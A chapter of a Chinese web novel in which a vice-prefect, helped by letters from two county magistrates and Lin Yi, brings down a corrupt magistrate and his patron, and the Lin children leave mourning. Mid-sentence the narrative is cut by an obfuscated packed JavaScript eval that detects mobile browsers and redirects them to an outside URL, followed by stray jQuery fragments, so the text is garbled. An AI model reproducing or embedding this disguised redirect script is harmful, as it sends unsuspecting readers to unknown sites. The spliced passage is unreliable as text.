白县令现在的心情和通泉县令差不多,凶手徐杰户籍在童山县,即便不是在他治下杀的人,他这个父母官也要担责。
收到林易的信,白县令没多犹豫就同意了。
他早就看飞乌县令不顺眼了,把治下弄得乌烟瘴气,还波及到他的童山县。
白县令是明经出身,同族也都是任地方底层官员的居多,做个七品县令基本就到头了,顶多到州府里再升个一阶半品的就已经算是家族里最有出息的。
他如今年纪上来,在仕途上更是没有多少进取之心,他已经将童山县视作自己官场生涯的最后一站,比不上年轻时勤勉,却也未曾懈怠过。民众安居乐业,童山县人口也稳步增加,又没有多少恶霸欺压百姓的事,足以彰显他的功劳。
所以,能告一笔飞乌县令的状,他当然要参与。
至于为何给别驾写信而非刺史,白县令冷笑一声,刺史又能有多清白?
就是没想到林易也知道这点,看来梓州官场已经被人看透喽!
白县令长叹一声,拿出纸来斟酌下笔。
收到两个县令的回信,林易拿出第三封信,唤来望湖,让他亲自去梓州一趟,将信件递往别驾府。
林易并非白县令所想,看透了梓州官场,也不知道飞乌县令给了梓州刺史多少孝敬。
他只是知道如今梓州刺史的为人和最后下场,若是上书给他,估摸着会石沉大海,杳无回音。
刺史被排除,刺史之下的别驾就是个好选择。
别驾是一州刺史的副手,在大虞朝,大部分州府别驾之位空悬,只有个别情况特殊的才有人担任。
要么是边疆之地,刺史多为武将,需要抵御外敌,朝廷怕他们处理不好内政,派去文官别驾与刺史一内一外治理地方。
要么就是朝中高官被贬职,给个别驾做做,没什么权力。
梓州别驾戚阳德却都不是这两种情况。
戚家原是寒门,太宗时方有人入朝为官,几代积累下来,到戚阳德的父辈最为兴盛。
戚阳德伯父如今为二品大员,尚书左仆射兼太子少师。
朝中三省六部,中书令和尚书令一直空置,唯有门下省侍中由丞相辛迁兼任。
尚书左仆射作为三省高官,位高权重,戚家有这样的高位族人自然是幸事,但身为子侄已经做到正五品官的戚阳德来说,说不上是幸还是不幸。
他是尚书左仆射的亲侄子,前途在戚家这一代是最好的,就连左仆射亲儿子们都没他有出息,他也被认为是戚家这一代的接班人。
伯父在中枢,权势过高,他就不能在长安待着,需得到地方上去。
看地方上的官职,刺史之位有些高,辖制一方不合适,再往下长史司马又有些低了,权衡之下便给了他一个上州别驾之职。
于是,在地方上磨炼多年,正想着即将升官到长安做官的戚阳德就这么来了梓州做别驾。
戚阳德来的时候,前任刺史即将升迁,便放了许多权力给他。
等现任刺史一来,就面对着进退两难的局面。
想把本来该他的权力全都收回来吧,还需顾忌着朝中的左仆射;不收回来吧就这么放任别驾分走他一部分权力,梓州刺史也不甘心。
就这么纠结着,刺史面上和睦,暗地里不时给戚阳德使些绊子。
戚阳德又怎么能察觉不到,也不忍气吞声。反正自己也不是被贬到这里来的,凭什么让着他。
反正现在两人的关系很微妙,刺史是上官,占着名头便宜,却又不敢真的和戚阳德撕破脸皮,局面一时没有改变。
戚阳德收到林易的书信以及底下两位县令的上书,也很高兴。
刺史就任一年,收服了一些底下的官员,这飞乌县令和梓州长史就是最卖命的两个狗腿子,每年不知道送给刺史多少民脂民膏。
戚阳德在书房来回踱步,思考对策。
飞乌县情况如何他早已有所耳闻,只是上有刺史掣肘,他又没有由头发落,现在这件事刚好是个契机。
骇人听闻的杀人案,两位县令和一位前任郎中的书信在手,有了切入口,他有信心打赢这场仗。
只是,要彻底把刺史拉下来还是有些不够,但处置一个县令,接着带出一个收受贿赂的长史还是没问题的。
戚阳德思虑好接下来要做的事,转而考虑起此事过后空缺出来的职位要怎么处理。
飞乌县令就让朝廷派人来吧。长史之位很重要,他不能再给刺史送帮手了。
从戚家子弟或则姻亲故旧中选一个?戚阳德很快否决。
他如今在梓州任别驾,朝廷不会再放一个戚氏一族的人来,别的不说,辛迁肯定第一个不答应。
伯父在中枢,却又不是辛迁一派,辛迁早就看他们一家不顺眼了,他不能自己递上把柄。
他戚家可不像辛家得陛下宠信,一个不慎几代经营的局面就会崩塌。
戚阳德思来想去,决定将这个好卖给林易。
林易选择写信给他而非刺史,定然是个明白人,他推荐来的人不说和自己一派,也不会和现在的长史一样唯刺史命是从。
林易收到戚阳德的信,不禁感叹船到桥头自然直。
他本来已经选好了几个职位,都离梓州有些远,只是时间有些紧,需要早下决定,也只好先敲定下来,开始运作。
幸亏这信还没寄出去,就先得了梓州的消息。
再没有比梓州长史这个职位合适的了。
林易便立马给戚阳德回信,说莱州长史詹肃任期将满,为人踏实,于政事勤勉,名声上佳。
戚阳德明白他的意思,略一打听,知道这詹肃与林家有亲,入仕以来没什么污点,为人中正,不曾结党营私,心下十分满意。
知道詹肃七月便要任满去长安述职,算下日子,戚阳德掐着时间开始布局。
没多久,飞乌县令被撸去官职,押入梓州大牢听审。
拔出萝卜带出泥,与飞乌县令走得极近的梓州长史也随之落马。
这中间刺史当然会奋力抗争,但戚阳德早有准备,他手里有刺史贪污受贿的证据。
有这些证据,刺史也免不了被罚,但他在朝中也有根基,顶多被贬官,还有东山再起的机会,他不如按住不发,还能以此为要挟。
一番博弈之后,戚阳德承诺此事不会牵连刺史,刺史也不再拼命捞人,还又分出一些
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15415242|165485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
权力给他。
最后,戚阳德上书朝廷,将此案上报。
案情清晰明了,朝中也无人为这两人申辩,照流程处置便是。
梓州缺了两个官员,需要立刻补上。
县令好说,官小,飞乌县也不是什么富裕的地方,还被前任县令搞得乌烟瘴气,让吏部从侯官的人里选一个合适的上任就是。
这长史之位就有得争了,但事发突然,有心的人准备不足,恰巧这时詹肃进京述职,林易和戚阳德早就准备周全,他顺利得了梓州长史的任命。
原梓州长史已经下狱,此时正在押往长安的路上,吏部让詹肃尽快赶往梓州上任。
詹肃不敢耽搁,带着家人奔赴梓州。
詹家到梓州安稳下来已经是八月底了,林家小辈刚刚除服。
林家给林祖母办了一周年祭礼之后,就让林安澜和她几个哥哥脱去孝服,解除禁忌。
出孝后的最大变化就是能吃荤腥了。
孩子们正是需要营养的时候,吴月皎和周佩宁吩咐厨房每餐都要做些肉食,让他们单独吃饭。
四个大人还需继续守孝,就不一起吃饭了。
吃到阔别已久的肉食,即便做法单一,只有烤和蒸两种,林安澜依旧觉得美味,连吃几日也不腻。
詹家已经到了梓州的书信传来,林智决定让林大郎和林三郎去一趟梓州看望林安淑。
原来林安淑到了梓州后查出已有三个多月的身孕,万幸虽然舟车劳顿,林安淑只是略微有些不舒服,胎还是坐得稳的。
林大郎除服后就要去国子监继续读书,林智让他从梓州城回来后再出发。
前世林安淑也是这个时候有的身孕,只是詹肃在长安城侯官得时候被查出来的,之后詹肃上任,将林安淑夫妻俩留在长安城,生了孩子半年后才又去了任上。
林易看了信,暗道自己疏忽,竟然忘记了此事,万幸淑娘没什么事,不然他罪过可就大了。
看来即便常常回想前世之事,还是会有疏漏。
林易决定今晚再写一遍前世之事,之后先不急着烧掉,继续回想,补充细节。
林智派林大郎和林三郎去梓州,林二郎也想去游历一番,林易便让三人同行。
下面三个小的也蠢蠢欲动,被周佩宁无情镇压。
此行没有大人跟着,大郎和二郎还好,顾着自己和三郎还能应付得过来,再跟去三个小的,两个大的就分身乏术了。
林安澜虽然想去,但她的红薯眼看就要成熟了,她得看着。又见大人不让他们去,也就作罢。
“大郎,你去了梓州,见到你姐姐,看她身子若还好,提一提让她回家来住段时间,咱家里人可想她想得紧。”周佩宁说道。
吴月皎连连点头,要不是她不好去别家做客,这次肯定也是要去的。
“若是走不得远路,就罢了,让她好好养着。日后相见之日还多着呢!”吴月皎说着,眼睛一酸流出泪来。
她想见女儿,却又怕女儿劳累,内心纠结无比。
旁边林智和林易又相继嘱咐了几句,林家三个二郎与家人告别后便拉着几车带给詹家的礼物跟着送青花瓷器到梓州的商队出发了。